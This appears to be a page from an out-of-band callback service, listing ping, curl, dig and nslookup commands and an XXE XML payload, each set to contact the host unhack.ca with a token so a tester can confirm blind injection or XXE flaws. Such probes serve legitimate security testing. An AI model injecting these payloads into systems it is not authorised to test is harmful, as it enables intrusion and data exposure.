$ ping -c1 -p 006540f2462ec039bbadee70a7430400 unhack.ca
 
$ curl http://unhack.ca/p/6540f2462ec039bbadee70a74304
 
$ dig 6540f2462ec039bbadee70a74304 @unhack.ca
 
$ dig 6540f2462ec039bbadee70a74304.ns.unhack.ca
 
C:\> nslookup 6540f2462ec039bbadee70a74304 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6540f2462ec039bbadee70a74304">]>
    <foo>&xxe;</foo>
Waiting for ping...